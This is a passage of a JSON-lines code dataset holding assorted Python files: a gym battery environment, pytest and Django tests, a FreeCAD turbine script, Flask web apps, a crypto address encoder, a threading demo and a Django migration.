+{"seq_id":"290651812","text":"from SPMe_w_Sensitivity_Params import SingleParticleModelElectrolyte_w_Sensitivity\nimport gym\nfrom gym import error, spaces, utils, logger\nfrom gym.utils import seeding\nimport numpy as np\n\nSPMe = SingleParticleModelElectrolyte_w_Sensitivity()\n\n\nclass SPMenv(gym.Env):\n\n metadata = {'render.modes': ['human']}\n\n def __init__(self):\n\n state_limits = np.array([np.inf, np.inf, np.inf, np.inf, np.inf, np.inf, np.inf, np.inf, np.inf, np.inf], dtype=np.float32)\n\n max_C_val = 25.67*3\n\n self.state_of_charge = .5\n self.term_volt = None\n\n self.min_soc = 0\n self.max_soc = 1\n self.min_voltage = 2.75\n self.max_voltage = 4.2\n\n self.action_space = spaces.Box(-max_C_val, max_C_val, dtype=np.float32)\n self.observation_space = spaces.Box(-state_limits, state_limits, dtype=np.float32)\n\n self.seed()\n self.viewer = None\n self.state = None\n self.steps_beyond_done = None\n self.np_random = None\n\n def seed(self, seed=None):\n self.np_random, seed = seeding.np_random(seed)\n return [seed]\n\n def reward_function(self):\n pass\n\n def step(self, action):\n err_msg = \"%r (%s) invalid\" % (action, type(action))\n assert self.action_space.contains(action), err_msg\n\n [bat_states, new_sen_states, outputs, sensitivity_outputs, soc_new, V_term, theta, docv_dCse] = SPMe.step(full_sim=True, states=self.state, I_input=action, state_of_charge=self.state_of_charge)\n\n self.state = [bat_states, new_sen_states]\n\n done = bool(self.state_of_charge < self.min_soc\n or self.state_of_charge > self.max_soc\n or V_term < self.min_voltage\n or V_term > self.max_voltage)\n\n if not done:\n reward = 1.0\n elif self.steps_beyond_done is None:\n # Pole just fell!\n self.steps_beyond_done = 0\n reward = 1.0\n\n else:\n if self.steps_beyond_done == 0:\n logger.warn(\n \"You are calling 'step()' even though this \"\n \"environment has already returned done = True. You \"\n \"should always call 'reset()' once you receive 'done = \"\n \"True' -- any further steps are undefined behavior.\")\n\n self.steps_beyond_done += 1\n reward = 0.0\n\n return np.array(self.state), reward, done, {}\n\n def reset(self):\n self.state = None\n # self.state_of_charge = self.np_random.uniform(low=-0.05, high=0.05, size=(4,))\n self.state_of_charge = .5\n\n self.steps_beyond_done = None\n # return np.array(self.state)\n return self.state\n\n\n # def render(self, mode='human'):\n #\n # def close(self):\n\n","sub_path":"gym-spm/gym_spm/envs/spm_env.py","file_name":"spm_env.py","file_ext":"py","file_size_in_byte":2781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"376148425","text":"import pytest\nimport numpy as np\nimport pandas as pd\n\nfrom gym.spaces import Box\n\nfrom tensortrade.features import FeatureTransformer\nfrom tensortrade.features.stationarity import FractionalDifference\n\n\n@pytest.fixture\ndef data_frame():\n data_frame = pd.DataFrame([{\n 'open': 100,\n 'low': 50,\n 'high': 250,\n 'close': 200,\n },\n {\n 'open': 200,\n 'low': 150,\n 'high': 350,\n 'close': 300,\n }])\n\n return data_frame\n\n\nclass TestFractionalDifference():\n def test_incremental_difference(self, data_frame):\n transformer = FractionalDifference(\n difference_order=0.5, inplace=True, all_column_names=data_frame.columns)\n\n transformed_frame = transformer.transform(data_frame)\n\n expected_data_frame = pd.DataFrame([{\n 'open': -26.20469322,\n 'low': -46.15180724,\n 'high': 33.63664884,\n 'close': 13.68953482,\n },\n {\n 'open': 134.53651465,\n 'low': 118.24976426,\n 'high': 183.39676584,\n 'close': 167.11001545,\n }])\n\n assert np.allclose(expected_data_frame.values, transformed_frame.values)\n\n next_frame = pd.DataFrame([{\n 'open': 200,\n 'low': 150,\n 'high': 350,\n 'close': 300,\n },\n {\n 'open': 300,\n 'low': 250,\n 'high': 450,\n 'close': 400,\n }])\n\n transformed_frame = transformer.transform(next_frame)\n\n expected_data_frame = pd.DataFrame([{\n 'open': 127.785105,\n 'low': 87.031409,\n 'high': 250.046192,\n 'close': 209.292496,\n },\n {\n 'open': 185.484853,\n 'low': 166.817514,\n 'high': 241.486873,\n 'close': 222.819533,\n }])\n\n assert np.allclose(expected_data_frame.values, transformed_frame.values)\n\n def test_difference_inplace(self, data_frame):\n transformer = FractionalDifference(\n difference_order=0.5, inplace=True, all_column_names=data_frame.columns)\n\n transformed_frame = transformer.transform(data_frame)\n\n expected_data_frame = pd.DataFrame([{\n 'open': -26.20469322,\n 'low': -46.15180724,\n 'high': 33.63664884,\n 'close': 13.68953482,\n },\n {\n 'open': 134.53651465,\n 'low': 118.24976426,\n 'high': 183.39676584,\n 'close': 167.11001545,\n }])\n\n assert np.allclose(expected_data_frame.values, transformed_frame.values)\n\n def test_difference_not_inplace(self, data_frame):\n transformer = FractionalDifference(\n difference_order=0.5, inplace=False, all_column_names=data_frame.columns)\n\n transformed_frame = transformer.transform(data_frame)\n\n expected_data_frame = pd.DataFrame([{\n 'open': 100,\n 'low': 50,\n 'high': 250,\n 'close': 200,\n 'open_diff_0.5': -26.20469322,\n 'low_diff_0.5': -46.15180724,\n 'high_diff_0.5': 33.63664884,\n 'close_diff_0.5': 13.68953482,\n },\n {\n 'open': 200,\n 'low': 150,\n 'high': 350,\n 'close': 300,\n 'open_diff_0.5': 134.53651465,\n 'low_diff_0.5': 118.24976426,\n 'high_diff_0.5': 183.39676584,\n 'close_diff_0.5': 167.11001545,\n }])\n\n assert np.allclose(expected_data_frame.values, transformed_frame.values)\n\n def test_select_correct_columns(self, data_frame):\n transformer = FractionalDifference(\n columns=['open', 'close'], difference_order=0.5, inplace=True, all_column_names=data_frame.columns)\n\n transformed_frame = transformer.transform(data_frame)\n\n expected_data_frame = pd.DataFrame([{\n 'open': -26.20469322,\n 'low': 50,\n 'high': 250,\n 'close': 13.68953482,\n },\n {\n 'open': 134.53651465,\n 'low': 150,\n 'high': 350,\n 'close': 167.11001545,\n }])\n\n assert np.allclose(expected_data_frame.values, transformed_frame.values)\n\n def test_transform_space(self, data_frame):\n transformer = FractionalDifference(\n difference_order=0.5, inplace=False, all_column_names=data_frame.columns)\n\n low = np.array([1E-3, ] * 4 + [1E-3, ])\n high = np.array([1E3, ] * 4 + [1E3, ])\n\n input_space = Box(low=low, high=high, dtype=np.float16)\n\n transformed_space = transformer.transform_space(input_space)\n\n assert transformed_space != input_space\n","sub_path":"tests/tensortrade/features/stationarity/test_fractional_difference.py","file_name":"test_fractional_difference.py","file_ext":"py","file_size_in_byte":4733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"117568236","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jan 26 15:09:58 2017\n\n@author: Nejc\n\"\"\"\n\n# important data\nn_blades = 3 # number of blades\nr_hub = 57 # radius of hub parabola\nl_hub = 120 # length of hub parabola\nm_hub = 28 # hub displacement on z-axis\nhub_steps = 15 # resolution of hub ellipse\n\n#############\n\nimport FreeCAD\nimport Part\nimport Draft\nimport math\nimport re\nimport os\n\nimport numpy as np\n\n# fetch the profiles file\ninput_file = os.path.dirname(__file__) + \"/blade.txt\"\nprint(input_file)\n\n# cross-section data:\n# [ a list of cross sections; each cross-section is a list of: xyz-points\n# [[], [], [], ...] # foil 1\n# [[], [], [], ...] # foil 2\n# ]\n\nfoils = [[]] # contains lists of cross-section coordinates\n\nnum_re = re.compile(\"[+-]?\\d\\.\\d+e[+-]\\d+\") # scientific notation\n\nwith open(input_file, \"r\") as blade_file: \n # first line contains the name of the qblade profile\n blade_file.readline()\n # the next line contains the 'x y z' titles\n blade_file.readline()\n \n # every line that doesn't contain an xyz-point denotes a new cross-section\n for line in blade_file:\n foil_coords = re.findall(num_re, line)\n \n if len(foil_coords) == 3: # a coordinate point\n # these lines should already have coordinates\n x = float(foil_coords[0])*1000\n # y-coordinate should be the same for the whole cross-section, \n # but isn't, wtf, qBlade?\n # only read the y-value once per cross-section\n if len(foils[-1]) == 0: # this whil be the first entry for this section\n y = float(foil_coords[1])*1000\n \n z = float(foil_coords[2])*1000\n\n foils[-1].append([x, y, z])\n\n else: # end of this cross-section\n foils.append([])\n y = None\n\n# clean up mess from qBlade:\nfor i in range(len(foils)):\n # some cross-sections are doubled\n f = foils[i]\n l = len(f)\n\n if l > len(foils[0]): # some lists in the end are doubled\n foils[i] = foils[i][:l/2]\n\nfor f in foils:\n l = len(f)\n\n del f[l/2] # the first value repeats in the middle\n del f[0] # but is not needed in the beginning\n del f[-1] # nor in the end\n\n# create a new freecad document\ndoc = FreeCAD.newDocument(\"CoppeliaRotor\")\n\n# create splines with cross-sections\ndef pointsToVectors(points_list):\n return[FreeCAD.Vector(p[0], p[1], p[2]) for p in points_list]\n\ndef pointsToWire(points_list):\n return Draft.makeWire(pointsToVectors(points_list), closed=True)\n\nxs_wires = []\n\nfor f in foils:\n xs_wires.append(pointsToWire(f))\n\nblade = doc.addObject('Part::Loft','Blade')\nblade.Solid = True\nblade.Sections = xs_wires\n\n# calculate points for the hub half-ellipse\n# it's all in yz-plane\nl_hub = float(l_hub)\nr_hub = float(r_hub)\n\nys = list(np.linspace(0, r_hub, hub_steps))\nzs = [m_hub - l_hub/r_hub*(r_hub**2 - y**2)**0.5 for y in ys]\n\nys.append(0)\nzs.append(m_hub)\n\nys.append(ys[0])\nzs.append(zs[0])\n\nhub_profile = Draft.makeWire([FreeCAD.Vector(0, ys[i], zs[i]) for i in range(len(ys))])\n\nhub = doc.addObject(\"Part::Revolution\", \"Hub\")\nhub.Source = hub_profile\nhub.Axis = (0.00,0.00,1.00)\nhub.Base = (0.00,0.00,0.00)\nhub.Angle = 360.\nhub.Solid = True\n\n# fuse the blade and the hub\nfusion_object = doc.addObject(\"Part::MultiFuse\",\"Fusion\")\nfusion_object.Shapes = [blade, hub]\n\n# copy the blade a number of times\narray = Draft.makeArray(fusion_object, FreeCAD.Vector(0, 0, 0), 360, n_blades)\narray.Fuse = True\n\ndoc.recompute()\n","sub_path":"CAD/turbine.py","file_name":"turbine.py","file_ext":"py","file_size_in_byte":3488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"448862135","text":"import logging\nimport sys\n\nfrom flask import Flask\nfrom flask import jsonify\nfrom flask import request\nfrom flask_marshmallow import Marshmallow\n\nfrom conf import AMQP_URI\nfrom conf import DB_URI\nfrom conf import FILE_PATH\nfrom conf import QUEUE_NAME\nfrom consumer import PikaThreadedConsumer\nfrom models import db\nfrom models import Photos\nfrom tasks import trigger_process_photo_task\n\nlogging.basicConfig(stream=sys.stderr, level=logging.INFO)\n\nlogger = logging.getLogger(__name__)\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = DB_URI\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n\n\ndb.init_app(app)\nma = Marshmallow(app)\n\n\nclass PhotosSchema(ma.Schema):\n class Meta:\n fields = (\n 'uuid',\n 'url',\n 'status',\n 'created_at',\n )\n\n\n@app.errorhandler(ValueError)\ndef handle_value_error(error):\n response = jsonify({\n 'error': 'value_error',\n 'message': str(error)\n })\n response.status_code = 400\n return response\n\n\n@app.route(\"/\")\ndef index():\n return jsonify(success=True)\n\n\n@app.route(\"/photos/pending\", methods=[\"GET\"])\ndef photos_pending():\n photos = Photos.query.filter(Photos.status == 'pending')\n result = PhotosSchema(many=True).dump(photos)\n return jsonify(result.data)\n\n\n@app.route(\"/photos/process\", methods=[\"POST\"])\ndef photos_process():\n photos_uuids = request.json['uuids']\n\n if not photos_uuids:\n raise ValueError('uuids should not be empty')\n\n photos = Photos.query.filter(Photos.uuid.in_(photos_uuids))\n\n # check if bad uuids passed\n not_found = set(photos_uuids) - set([str(i.uuid) for i in photos])\n if not_found:\n raise ValueError(f'{\",\".join(not_found)} not exists!')\n\n for photo in photos:\n\n # check if inproper status\n if photo.status != 'pending':\n raise ValueError((\n f'{photo.uuid} status is `{photo.status}`'\n ' but have to be `pending`'\n )\n )\n trigger_process_photo_task(photo.uuid)\n logger.info(f'process photo {photo.uuid} task triggered')\n\n return jsonify({'uuids': photos_uuids})\n\n\ndef main():\n queue_consumer = PikaThreadedConsumer(\n AMQP_URI,\n QUEUE_NAME,\n DB_URI,\n FILE_PATH,\n )\n queue_consumer.start()\n app.run(host='0.0.0.0', port=3000)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/services/web.py","file_name":"web.py","file_ext":"py","file_size_in_byte":2404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"130099717","text":"import hashlib\n\nversion = \"00\"\naddressChecksumLen = 4\nBase58Alphabet = \"123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz\"\n\ndef normalise_bytes(buffer_object):\n return memoryview(buffer_object).cast('B')\n\ndef base58encode(data):\n\n result = []\n x = int(data, 16)\n base = 58\n zero = 0\n\n while x != zero:\n x, mod = divmod(x, base)\n result.append(Base58Alphabet[mod])\n result.append(Base58Alphabet[x])\n result.reverse()\n\n return \"\".join(result)\n\ndef checksum(payload):\n\n first_sha = hashlib.sha256(normalise_bytes(payload)).digest()\n second_sha = hashlib.sha256(normalise_bytes(first_sha)).digest()\n\n return second_sha[:addressChecksumLen]\n\ndef pubKeyToAddr(pub_key):\n\n pub_hash = hashlib.sha256(normalise_bytes(bytes.fromhex(pub_key))).digest()\n\n ripemd160 = hashlib.new('ripemd160')\n ripemd160.update(normalise_bytes(pub_hash))\n\n version_payload = bytes.fromhex(version)+ripemd160.digest()\n\n checkSum = checksum(version_payload)\n full_payload = version_payload + checkSum\n\n address = base58encode(full_payload.hex())\n return address\n","sub_path":"crypto/address.py","file_name":"address.py","file_ext":"py","file_size_in_byte":1114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"559808484","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n 尽管使用多线程的目的是并发地运行单独的操作,但有时也需要在两个或多个线程中进行同步操作。\n\n 事件对象(Event)是实现线程间安全通信的一种简单方法\n\n Event 管理一个内部标志,调用者可以使用 set() 或 clear() 方法控制这个标志\n\n 其他线程可以使用 wait() 暂停,直到这个标志被设置,可以有效阻塞进程直至允许这些线程继续运行\n\n wait() 方法取一个参数,表示等待事件的时间(秒数),达到这个时间后就超时,它会返回一个布尔值,指示事件是否已经被设置\n\n Event.is_set() 方法不会阻塞,它也会返回一个布尔值,表示事件对象是否被设置\n\"\"\"\n\nimport threading\nimport logging\nimport time\n\nlogging.basicConfig(\n level=logging.DEBUG,\n format='[%(asctime)s] [%(levelname)s] [%(threadName)-10s] %(message)s'\n)\n\n\ndef wait_for_event(e):\n logging.debug('wait_for_event starting')\n event_is_set = e.wait()\n logging.debug('event set: %s', event_is_set)\n\n\ndef wait_for_event_timeout(e, t):\n while not e.is_set():\n logging.debug('wait_for_event_timeout starting')\n event_is_set = e.wait(t)\n if event_is_set:\n logging.debug('processing event')\n else:\n logging.debug('doing other work')\n\n\ne = threading.Event()\n\nt1 = threading.Thread(\n name='block',\n target=wait_for_event,\n args=(e,)\n)\n\nt1.start()\n\nt2 = threading.Thread(\n name='non-block',\n target=wait_for_event_timeout,\n args=(e, 2)\n)\n\nt2.start()\n\nlogging.debug('Waiting before calling Event.set()')\n\ntime.sleep(0.3)\n\ne.set()\n\nlogging.debug('Event is set')\n\n# Result :\n\n# [2018-12-06 22:09:26,519] [DEBUG] [block ] wait_for_event starting\n# [2018-12-06 22:09:26,520] [DEBUG] [non-block ] wait_for_event_timeout starting\n# [2018-12-06 22:09:26,520] [DEBUG] [MainThread] Waiting before calling Event.set()\n# [2018-12-06 22:09:26,824] [DEBUG] [MainThread] Event is set\n# [2018-12-06 22:09:26,824] [DEBUG] [non-block ] processing event\n# [2018-12-06 22:09:26,825] [DEBUG] [block ] event set: True\n","sub_path":"concurrent/threading/signaling_between_threads/threading_event.py","file_name":"threading_event.py","file_ext":"py","file_size_in_byte":2173,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"346174533","text":"from django import template\n\nregister = template.Library()\n\n\n@register.simple_tag(takes_context=True)\ndef url_get_params_replace(context, field, value):\n \"\"\" The idea here is to take a GET dict and replace one value in the\n GET dict (or create it if it doesn't exist) and then return the encoded\n value. Useful for pagination.\n\n From http://stackoverflow.com/a/16609498/3189\n \"\"\"\n get_dict = context['request'].GET.copy()\n get_dict[field] = value\n return get_dict.urlencode()\n","sub_path":"templatetags/url_get_params_replace.py","file_name":"url_get_params_replace.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"142070233","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport django.core.validators\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('school', '__first__'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Student',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('admission_no', models.CharField(max_length=50, null=True, blank=True)),\n ('roll_no', models.CharField(max_length=15, null=True, blank=True)),\n ('student_id', models.CharField(max_length=15, null=True, blank=True)),\n ('first_name', models.CharField(max_length=50)),\n ('middle_name', models.CharField(max_length=50, null=True, blank=True)),\n ('last_name', models.CharField(max_length=50, null=True, blank=True)),\n ('father_name', models.CharField(max_length=100, null=True, blank=True)),\n ('mother_name', models.CharField(max_length=100, null=True, blank=True)),\n ('date_of_birth', models.DateField(null=True, blank=True)),\n ('gender', models.CharField(default=b'M', max_length=6, choices=[(b'M', b'male'), (b'F', b'female')])),\n ('blood_group', models.CharField(max_length=3, null=True, blank=True)),\n ('street_address', models.TextField(null=True, blank=True)),\n ('student_city', models.CharField(max_length=50, null=True, blank=True)),\n ('student_state', models.CharField(max_length=50, null=True, blank=True)),\n ('student_country', models.CharField(max_length=50, null=True, blank=True)),\n ('pin_code', models.CharField(default=0, max_length=7, null=True, blank=True)),\n ('religion', models.CharField(max_length=50, null=True, blank=True)),\n ('nationality', models.CharField(max_length=50, null=True, blank=True)),\n ('mother_tongue', models.CharField(max_length=50, null=True, blank=True)),\n ('student_cast_category', models.CharField(default=b'', max_length=100, null=True, blank=True)),\n ('phone_number', models.CharField(blank=True, max_length=15, null=True, validators=[django.core.validators.RegexValidator(regex=b'^\\\\+?1?\\\\d{9,15}$', message=b\"Phone number must be entered in the format: '+999999999'. Up to 15 digits allowed.\")])),\n ('mobile_number', models.CharField(blank=True, max_length=15, null=True, validators=[django.core.validators.RegexValidator(regex=b'^\\\\+?1?\\\\d{9,15}$', message=b\"Phone number must be entered in the format: '+999999999'. Up to 15 digits allowed.\")])),\n ('email', models.EmailField(max_length=254, null=True, blank=True)),\n ('joining_year', models.CharField(max_length=4, null=True, blank=True)),\n ('image', models.ImageField(null=True, upload_to=b'', blank=True)),\n ('biometric', models.CharField(max_length=50, null=True, blank=True)),\n ('enable_email', models.BooleanField(default=True)),\n ('enable_sms', models.BooleanField(default=True)),\n ('is_hostaler', models.BooleanField(default=False)),\n ('have_transport_facility', models.BooleanField(default=False)),\n ('created_at', models.DateField(null=True, blank=True)),\n ('updated_at', models.DateField(auto_now=True)),\n ('is_active', models.BooleanField(default=False)),\n ('is_deleted', models.BooleanField(default=False)),\n ('school', models.ForeignKey(to='school.School')),\n ],\n ),\n migrations.CreateModel(\n name='Student_Category',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('category_name', models.CharField(max_length=50)),\n ('number_of_student', models.PositiveIntegerField(default=0)),\n ('created_at', models.DateField(auto_now_add=True)),\n ('is_active', models.BooleanField(default=False)),\n ('is_deleted', models.BooleanField(default=False)),\n ('school', models.ForeignKey(to='school.School')),\n ],\n ),\n migrations.AddField(\n model_name='student',\n name='student_category',\n field=models.ForeignKey(blank=True, to='studentApp.Student_Category', null=True),\n ),\n ]\n","sub_path":"SchoolProject/studentApp/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":4636,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"530358106","text":"from flask import Flask,render_template,request,redirect,session\nfrom flask_sqlalchemy import SQLAlchemy\nfrom werkzeug.utils import secure_filename\nfrom datetime import datetime\nimport os\nimport math\nfrom flask_mail import Mail\nimport json\n\nwith open('config.json', 'r') as c:\n params = json.load(c)[\"params\"]\nlocal_server = True\n\n\napp=Flask(__name__)\napp.secret_key = 'super-secret-key'\napp.config['UPLOAD_FOLDER'] = params['upload_location']\n\napp.config.update(\n MAIL_SERVER = 'smtp.gmail.com',\n MAIL_PORT = '465',\n MAIL_USE_SSL = True,\n MAIL_USERNAME = params['gmail-user'],\n MAIL_PASSWORD= params['gmail-password']\n)\n\nmail = Mail(app)\n\nif(local_server):\n app.config['SQLALCHEMY_DATABASE_URI'] = params['local_uri']\nelse:\n app.config['SQLALCHEMY_DATABASE_URI'] = params['prod_uri']\ndb = SQLAlchemy(app)\n\n\nclass Contacts(db.Model):\n sno = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(80), nullable=False)\n email = db.Column(db.String(20), nullable=False)\n phone_num = db.Column(db.String(12), nullable=False)\n subject = db.Column(db.String(12), nullable=False)\n msg = db.Column(db.String(120), nullable=False)\n date = db.Column(db.String(12), nullable=True)\n\nclass Posts(db.Model):\n sno = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(80), nullable=False)\n slug = db.Column(db.String(21), nullable=False)\n content = db.Column(db.String(120), nullable=False)\n date = db.Column(db.String(12), nullable=False)\n video_file=db.Column(db.String(12), nullable=False)\n fronted_img=db.Column(db.String(12), nullable=False)\n\n\nclass Suscribes(db.Model):\n sno = db.Column(db.Integer, primary_key=True)\n email = db.Column(db.String(20), nullable=False)\n date = db.Column(db.String(12), nullable=True)\n\n@app.route('/')\ndef home():\n videos = Posts.query.filter_by().all()\n last = math.ceil(len(videos) / int(params['no_of_videos']))\n page = request.args.get('page')\n if (not str(page).isnumeric()):\n page = 1\n page = int(page)\n videos = videos[(page - 1) * int(params['no_of_videos']): (page - 1) * int(params['no_of_videos']) + int(\n params['no_of_videos'])]\n # Pagination Logic\n # First\n if (page == 1):\n prev = \"#\"\n next = \"/?page=\" + str(page + 1)\n elif (page == last):\n prev = \"/?page=\" + str(page - 1)\n next = \"#\"\n else:\n prev = \"/?page=\" + str(page - 1)\n next = \"/?page=\" + str(page + 1)\n\n return render_template('index.html', params=params, videos=videos, prev=prev, next=next)\n\n@app.route('/about')\ndef about():\n return render_template('about.html',params=params)\n\n@app.route(\"/dashboard\",methods=['GET', 'POST'])\ndef dashboard():\n if 'user' in session and session['user']==params['admin_user']:\n videos = Posts.query.all()\n return render_template('dashboard.html',params=params,videos=videos )\n\n if request.method=='POST':\n ''' Rdirect to panal'''\n username=request.form.get('uname')\n userpass=request.form.get('pass')\n if username == params['admin_user'] and userpass == params['admin_password']:\n '''set the section variable'''\n session['user'] = username\n videos=Posts.query.all()\n return render_template('dashboard.html', params=params,videos=videos)\n else:\n print('password was wrong')\n return redirect('/dashboard')\n\n\n else:\n return render_template('login.html', params=params)\n\n\n@app.route(\"/edit/\", methods=['GET', 'POST'])\ndef edit(sno):\n if ('user' in session and session['user'] == params['admin_user']):\n if request.method == 'POST':\n title = request.form.get('title')\n slug = request.form.get('slug')\n content = request.form.get('content')\n video_file = request.form.get('video_file')\n fronted_img = request.form.get('fronted_img')\n date = datetime.now()\n\n if sno == '0':\n video = Posts(title=title, slug=slug, content=content,video_file=video_file,fronted_img=fronted_img,date=date)\n db.session.add(video)\n db.session.commit()\n\n else:\n video = Posts.query.filter_by(sno=sno).first()\n video.title = title\n video.slug = slug\n video.content = content # update karne keliye\n video.video_file = video_file\n video.fronted_img = fronted_img\n video.date = date\n db.session.commit()\n return redirect('/dashboard')\n\n video= Posts.query.filter_by(sno=sno).first()\n return render_template('edit.html', params=params,sno=sno,video=video)\n\n@app.route(\"/uploader\", methods = ['GET', 'POST'])\ndef uploader():\n if ('user' in session and session['user'] == params['admin_user']):\n if (request.method == 'POST'):\n f= request.files['file']\n f.save(os.path.join(app.config['UPLOAD_FOLDER'], secure_filename(f.filename) ))\n return \"Uploaded successfully\"\n\n\n\n@app.route(\"/logout\")\ndef logout():\n session.pop('user')\n return redirect('/dashboard')\n\n\n@app.route(\"/rough\")\ndef rough():\n return render_template(\"rough.html\")\n\n@app.route(\"/delete/\", methods = ['GET', 'POST'])\ndef delete(sno):\n if ('user' in session and session['user'] == params['admin_user']):\n video = Posts.query.filter_by(sno=sno).first()\n db.session.delete(video)\n db.session.commit()\n return redirect('/dashboard')\n\n@app.route(\"/video/\",methods=['GET'])\ndef video_route(video_slug):\n videos = Posts.query.filter_by().all()\n video=Posts.query.filter_by(slug=video_slug).first()\n return render_template('video-page.html', params=params ,video=video)\n\n@app.route(\"/contact\", methods = ['GET', 'POST'])\ndef contact():\n if (request.method == 'POST'):\n name = request.form.get('name')\n email = request.form.get('email')\n phone = request.form.get('phone')\n subject = request.form.get('subject')\n message = request.form.get('message')\n entry = Contacts(name=name,email=email, phone_num=phone,subject=subject, msg=message, date=datetime.now())\n db.session.add(entry)\n db.session.commit()\n mail.send_message('New message from ' + name,\n sender=email,\n recipients=[params['gmail-user']],\n body=message + \"\\nphone number is :- \" + phone +\"subject is:-\" +subject\n )\n\n return render_template('contact.html',params=params)\n\n@app.route(\"/suscribe\", methods = ['GET', 'POST'])\ndef suscribe():\n if (request.method == 'POST'):\n email = request.form.get('email')\n entry = Suscribes(email=email, date=datetime.now())\n db.session.add(entry)\n db.session.commit()\n return render_template(\"suscribe.html\",params=params)\n\n return render_template('index.html',params=params)\n\napp.run(debug=True)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"399970009","text":"from collections import defaultdict\n\nfrom django.test import TestCase\nfrom mock import patch, call\n\nfrom dashboard.data.tests.test_data import FakeReport\nfrom dashboard.models import Score, Consumption, AdultPatientsRecord, PAEDPatientsRecord, Cycle, MultipleOrderFacility\nfrom dashboard.tasks import persist_scores, persist_consumption, persist_adult_records, persist_paed_records, get_report_for_other_cycle, calculate_scores_for_checks_in_cycle, persist_multiple_order_records\n\n\nclass TaskTestCase(TestCase):\n\n def test_should_record_scores_for_each_facility(self):\n report = FakeReport()\n report.cycle = \"May - Jun 2015\"\n report.locs = [{\n 'name': 'location_one',\n 'IP': 'ip_one',\n 'District': 'district_one',\n 'Warehouse': 'warehouse_one',\n 'scores': {\n 'WEB_BASED': {'DEFAULT': 'YES'},\n 'REPORTING': {'DEFAULT': 'NO'},\n }\n },\n {\n 'name': 'location_two',\n 'District': 'district_one',\n 'IP': 'ip_one',\n 'Warehouse': 'warehouse_one',\n 'scores': {\n 'WEB_BASED': {'DEFAULT': 'YES'},\n 'REPORTING': {'DEFAULT': 'NO'},\n }\n }]\n self.assertEqual(Score.objects.count(), 0)\n persist_scores(report)\n persist_scores(report)\n self.assertEqual(Score.objects.count(), 2)\n first_score = Score.objects.all()[0]\n self.assertEqual(first_score.default_pass_count, 1)\n self.assertEqual(first_score.default_fail_count, 1)\n\n def test_should_record_consumption_for_each_facility(self):\n report = FakeReport()\n report.ads = defaultdict(list)\n report.pds = defaultdict(list)\n report.cycle = \"May - Jun 2015\"\n report.locs = [{\n 'name': 'location_one',\n 'IP': 'ip_one',\n 'District': 'district_one',\n 'Warehouse': 'warehouse_one',\n 'Multiple': '',\n 'status': '',\n 'Web/Paper': '',\n 'scores': defaultdict(dict)\n }]\n report.cs = {\n 'location_one': [\n {\n 'opening_balance': 20,\n 'closing_balance': 12,\n }\n ]\n }\n self.assertEqual(Consumption.objects.count(), 0)\n persist_consumption(report)\n self.assertEqual(Consumption.objects.count(), 1)\n first_record = Consumption.objects.all()[0]\n self.assertEqual(first_record.name, 'location_one')\n self.assertEqual(first_record.ip, 'ip_one')\n self.assertEqual(first_record.district, 'district_one')\n self.assertEqual(first_record.warehouse, 'warehouse_one')\n self.assertEqual(first_record.opening_balance, 20)\n self.assertEqual(first_record.closing_balance, 12)\n\n def test_should_record_adult_records_for_each_facility(self):\n report = FakeReport()\n report.ads = defaultdict(list)\n report.pds = defaultdict(list)\n report.cycle = \"May - Jun 2015\"\n report.locs = [{\n 'name': 'location_one',\n 'IP': 'ip_one',\n 'District': 'district_one',\n 'Warehouse': 'warehouse_one',\n 'Multiple': '',\n 'status': '',\n 'Web/Paper': '',\n 'scores': defaultdict(dict)\n }]\n report.ads = {\n 'location_one': [\n {\n 'new': 20,\n 'existing': 12,\n }\n ]\n }\n self.assertEqual(AdultPatientsRecord.objects.count(), 0)\n persist_adult_records(report)\n self.assertEqual(AdultPatientsRecord.objects.count(), 1)\n first_record = AdultPatientsRecord.objects.all()[0]\n self.assertEqual(first_record.name, 'location_one')\n self.assertEqual(first_record.ip, 'ip_one')\n self.assertEqual(first_record.district, 'district_one')\n self.assertEqual(first_record.warehouse, 'warehouse_one')\n self.assertEqual(first_record.new, 20)\n self.assertEqual(first_record.existing, 12)\n\n def test_should_record_paed_records_for_each_facility(self):\n report = FakeReport()\n report.ads = defaultdict(list)\n report.pds = defaultdict(list)\n report.cycle = \"May - Jun 2015\"\n report.locs = [{\n 'name': 'location_one',\n 'IP': 'ip_one',\n 'District': 'district_one',\n 'Warehouse': 'warehouse_one',\n 'Multiple': '',\n 'status': '',\n 'Web/Paper': '',\n 'scores': defaultdict(dict)\n }]\n report.pds = {\n 'location_one': [\n {\n 'new': 20,\n 'existing': 12,\n }\n ]\n }\n self.assertEqual(PAEDPatientsRecord.objects.count(), 0)\n 